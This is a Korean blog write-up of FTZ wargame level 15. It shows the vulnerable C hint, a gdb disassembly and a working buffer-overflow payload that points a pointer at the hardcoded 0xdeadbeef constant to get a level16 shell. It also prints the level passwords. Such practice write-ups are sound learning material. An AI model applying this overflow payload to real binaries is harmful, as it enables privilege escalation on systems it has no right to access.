Jaeseo's Information Security Story

FTZ - level15 - WriteUp 본문

Write UP/FTZ

FTZ - level15 - WriteUp

Jaeseokim 2019. 11. 26. 14:06

FTZ - level15 - WriteUp

level15:guess what

일단 hint파일을 봅니다.

[level15@ftz level15]$ cat hint

#include <stdio.h>

main()
{ int crap;
  int *check;
  char buf[20];
  fgets(buf,45,stdin);
  if (*check==0xdeadbeef)
   {
     setreuid(3096,3096);
     system("/bin/sh");
   }
}

[level15@ftz level15]$

level14의 문제와 거의 유사하지만 이번에는 check가 포인터로 해서 참조를 하는 모습을 볼 수 있습니다.

(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x08048490 <main+0>:    push   ebp
0x08048491 <main+1>:    mov    ebp,esp
0x08048493 <main+3>:    sub    esp,0x38
0x08048496 <main+6>:    sub    esp,0x4
0x08048499 <main+9>:    push   ds:0x8049664
0x0804849f <main+15>:   push   0x2d
0x080484a1 <main+17>:   lea    eax,[ebp-56] //입력값 받는 위치
0x080484a4 <main+20>:   push   eax
0x080484a5 <main+21>:   call   0x8048360 <fgets>
0x080484aa <main+26>:   add    esp,0x10
0x080484ad <main+29>:   mov    eax,DWORD PTR [ebp-16] //비교하는 check의 위치
0x080484b0 <main+32>:   cmp    DWORD PTR [eax],0xdeadbeef //0xdeadbeef가 하드코딩이 되어 있으므로 이 주소를 이용하여 공격이 가능
0x080484b6 <main+38>:   jne    0x80484dd <main+77>
0x080484b8 <main+40>:   sub    esp,0x8
0x080484bb <main+43>:   push   0xc18
0x080484c0 <main+48>:   push   0xc18
0x080484c5 <main+53>:   call   0x8048380 <setreuid>
0x080484ca <main+58>:   add    esp,0x10
0x080484cd <main+61>:   sub    esp,0xc
0x080484d0 <main+64>:   push   0x8048548
0x080484d5 <main+69>:   call   0x8048340 <system>
0x080484da <main+74>:   add    esp,0x10
0x080484dd <main+77>:   leave
0x080484de <main+78>:   ret
0x080484df <main+79>:   nop
End of assembler dump.
(gdb)

위의 어셈블리를 보면 중간에 cmp하면서 0xdeadbeef와 직접 비교를 하는데 직접 적혀 있으므로 0xdeadbeef가 적혀 있는 주소를 알아내 넣어주면 exploit이 될 것 으로 예상이 된다.

(gdb) x/10x main+32
0x80484b0 <main+32>:    0xbeef3881      0x2575dead      0x6808ec83      0x00000c18
0x80484c0 <main+48>:    0x000c1868      0xfeb6e800      0xc483ffff      0x0cec8310
0x80484d0 <main+64>:    0x04854868      0xfe66e808

main+32의 메모리 주소를 탐색한 결과 0xdeadbeef가 들어 있는 모습을 볼 수 있다. 이 주소(0x08048b2)를 이용해서 공격을 한다.

[level15@ftz level15]$ (python -c 'print "\x90"*40+"\xb2\x84\x04\x08"';cat) | ./attackme
whoami
level16
my-pass

Level16 Password is "about to cause mass".


level16:about to cause mass

'Write UP > FTZ' 카테고리의 다른 글

FTZ - level17 - WriteUp  (0) 2019.11.26
FTZ - level16 - WriteUp  (0) 2019.11.26
FTZ - level14 - WriteUp  (0) 2019.11.25
FTZ - level13 - WriteUp  (2) 2019.11.19
FTZ - level12 - WriteUp  (0) 2019.11.18
Comments